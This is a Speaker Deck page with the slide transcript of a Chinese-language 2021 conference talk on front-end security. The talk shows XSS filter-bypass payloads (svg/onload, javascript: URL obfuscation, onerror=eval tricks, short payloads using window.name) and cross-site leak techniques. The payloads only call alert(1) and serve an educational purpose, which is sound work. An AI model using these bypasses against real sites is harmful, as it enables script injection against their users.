Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
接觸資安才發現前端的水真深 - Modern Web 2021
Search
Huli
October 15, 2021
Technology
0
2.3k
接觸資安才發現前端的水真深 - Modern Web 2021
接觸資安才發現前端的水真深 - Modern Web 2021
Huli
October 15, 2021
Tweet
Share
More Decks by Huli
See All by Huli
ModernWeb 2018 - 輕鬆應付複雜的非同步操作:RxJS + Redux Observable
aszx87410
0
170
Attacking web without JS - CSS injection
aszx87410
0
3.1k
Front-end Security that Front-end developers don't know
aszx87410
2
5.7k
你懂了 JavaScript,也不懂 JavaScript - MOPCON 2021
aszx87410
3
1k
JSDC2020 - 用 API mocking 讓前端不再苦等待
aszx87410
0
1.3k
Other Decks in Technology
See All in Technology
“常に進化する”開発現場へ! SHIFTが語るアジャイルQAの未来/20250306 Yuma Murase
shift_evolve
0
100
AIエージェント元年@日本生成AIユーザ会
shukob
1
260
30→150人のエンジニア組織拡大に伴うアジャイル文化を醸成する役割と取り組みの変化
nagata03
0
360
RayでPHPのデバッグをちょっと快適にする
muno92
PRO
0
200
4th place solution Eedi - Mining Misconceptions in Mathematics
rist
0
150
AWSではじめる Web APIテスト実践ガイド / A practical guide to testing Web APIs on AWS
yokawasa
8
790
エンジニアのキャリアパスと、 その中で自分が大切にしていること
noteinc
1
150
困難を「一般解」で解く
fujiwara3
8
2.3k
OCI Success Journey OCIの何が評価されてる?疑問に答える事例セミナー(2025年2月実施)
oracle4engineer
PRO
2
220
目標と時間軸 〜ベイビーステップでケイパビリティを高めよう〜
kakehashi
PRO
8
1k
クラウド関連のインシデントケースを収集して見えてきたもの
lhazy
9
1.9k
Cracking the Coding Interview 6th Edition
gdplabs
14
28k
Featured
See All Featured
YesSQL, Process and Tooling at Scale
rocio
172
14k
The Cost Of JavaScript in 2023
addyosmani
47
7.4k
Agile that works and the tools we love
rasmusluckow
328
21k
How to Ace a Technical Interview
jacobian
276
23k
For a Future-Friendly Web
brad_frost
176
9.6k
Become a Pro
speakerdeck
PRO
26
5.2k
How GitHub (no longer) Works
holman
314
140k
Large-scale JavaScript Application Architecture
addyosmani
511
110k
Distributed Sagas: A Protocol for Coordinating Microservices
caitiem20
330
21k
Sharpening the Axe: The Primacy of Toolmaking
bcantrill
40
2k
Dealing with People You Can't Stand - Big Design 2015
cassininazir
366
25k
The World Runs on Bad Software
bkeepers
PRO
67
11k
Transcript
接觸資安才發現前端的⽔水真深 Huli @ Modern Web 2021
About 上半年年:OneDegree 前端⼯工程師
About 上半年年:OneDegree 前端⼯工程師 下半年年:Cymetrics 資安⼯工程師
None
Agenda 1. 繞過各種限制 2. side channel attack 3. 其他你不知道的功能
Agenda 1. 繞過各種限制 2. side channel attack 3. 其他你不知道的功能
XSS
<script> alert(1) </script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
Q1 如果把 HTML 中的空格都拿掉 是否還可以⽤用屬性 XSS?
Q1 如果把 HTML 中的空格都拿掉 是否還可以⽤用屬性 XSS?
<svg onload=alert(1)>
<svg/onload=alert(1)>
Q2 如果禁⽌止使⽤用 on 開頭的屬性, 是否還能 XSS?
Q2 如果禁⽌止使⽤用 on 開頭的屬性, 是否還能 XSS?
<iframe/ src="javascript:alert(1)">
Q3 如果把 javascript 開頭的值都濾掉, 是否還能 XSS?
Q3 如果把 javascript 開頭的值都濾掉, 是否還能 XSS?
<iframe/ src="java\tscript:alert(1)">
Q4 如果去除 tab 跟空⾏行行以後去掉 javascript, 是否還能 XSS?
Q4 如果去除 tab 跟空⾏行行以後去掉 javascript, 是否還能 XSS?
<iframe/ src="javascript:alert(1)">
<iframe/ src="javascript:alert (1)">
Q5 如果去除 src 屬性, 是否還能 XSS?
Q5 如果去除 src 屬性, 是否還能 XSS?
<a/ href="javascript:alert(1)">
<script> alert(1) </script>
<script> alert`1` </script>
onerror=alert;throw 1
onerror=eval;throw "=alert\x281\x29"
onerror=eval;throw "=alert\x281\x29" Uncaught 123
onerror=eval;throw "=alert\x281\x29" Uncaught=123
onerror=eval;throw "=alert\x281\x29" Uncaught=alert(1)
None
字數限制
<svg/onload=> 13 字
利利⽤用現有資訊
<svg/ onload= eval(`'`+location)> 13 + 18 = 31 字
a.com#';alert(1) `'` + location => 'a.com#';alert(1)
<svg/ onload= eval(`'`+document.URL)> 13 + 22 = 35 字
<svg/ onload= eval(`'`+document.URL)> 13 + 22 = 35 字 9
個字
<svg/ onload= eval(`'`+URL)> 13 + 13 = 26 字
None
None
Q6 name = 123 typeof name === "number"
Q6 name = 123 typeof name === "number"
example.com window.name
huli.tw window.name
<svg/ onload= eval(name)> 13 + 10 = 23 字
https://tinyxss.terjanq.me/
Agenda 1. 繞過各種限制 2. side channel attack 3. 其他你不知道的功能
Agenda 1. 繞過各種限制 2. Cross site leaks (XS leak) 3.
其他你不知道的功能
Download 請輸入要搜尋的使⽤用者名稱 example.com/download
Download 請輸入要搜尋的使⽤用者名稱 查無使⽤用者 example example.com/download?q=example
Download 請輸入要搜尋的使⽤用者名稱 a example.com/download?q=a
Download 請輸入要搜尋的使⽤用者名稱 a
然後呢,我們能做什什麼?
Download 請輸入要搜尋的使⽤用者名稱 iframe example.com/download huli.tw
Download 請輸入要搜尋的使⽤用者名稱 iframe example example.com/download?q=example huli.tw
Download 請輸入要搜尋的使⽤用者名稱 iframe example iframe.contentWindow.origin example.com/download?q=example huli.tw
Download 請輸入要搜尋的使⽤用者名稱 iframe a iframe.contentWindow.origin example.com/download?q=a huli.tw
None
example.com/users/123 David id=message 傳送訊息
example.com/users/210 Peter id=add 加入好友
然後呢,我們能做什什麼?
example.com/users/123 David id=message 傳送訊息
example.com/users/123#message David id=message 傳送訊息 focus
iframe example.com/users/123#message huli.tw David id=message 傳送訊息
None
Agenda 1. 繞過各種限制 2. side channel attack 3. 其他你不知道的功能
example.com/files example.com/blog 上傳各種檔案 放各種⽂文章
example.com/files example.com/blog path: /files path: /blog 上傳各種檔案 放各種⽂文章
example.com/files example.com/blog path: /files path: /blog 放各種⽂文章 <script> alert(1) </script>
files/xss.html
example.com/files example.com/blog path: /files path: /blog 放各種⽂文章 <script> alert(1) </script>
files/xss.html ?
None
None
example.com <embed src=/pdf?token=u7Dh3 ……….
example.com <embed src=/pdf?token=u7Dh3 ………. <script> alert(1) </script>
example.com <embed src=/pdf?token=u7Dh3 ………. <script> alert(1) </script> ?
None
None
Agenda 1. 繞過各種限制 2. side channel attack 3. 其他你不知道的功能
資料來來源 1.https://tinyxss.terjanq.me/ 2.https://xsleaks.dev/ 3.LINE CTF 2021 4.DiceCTF 2021 5.zer0pts CTF
2021
google: cymetrics blog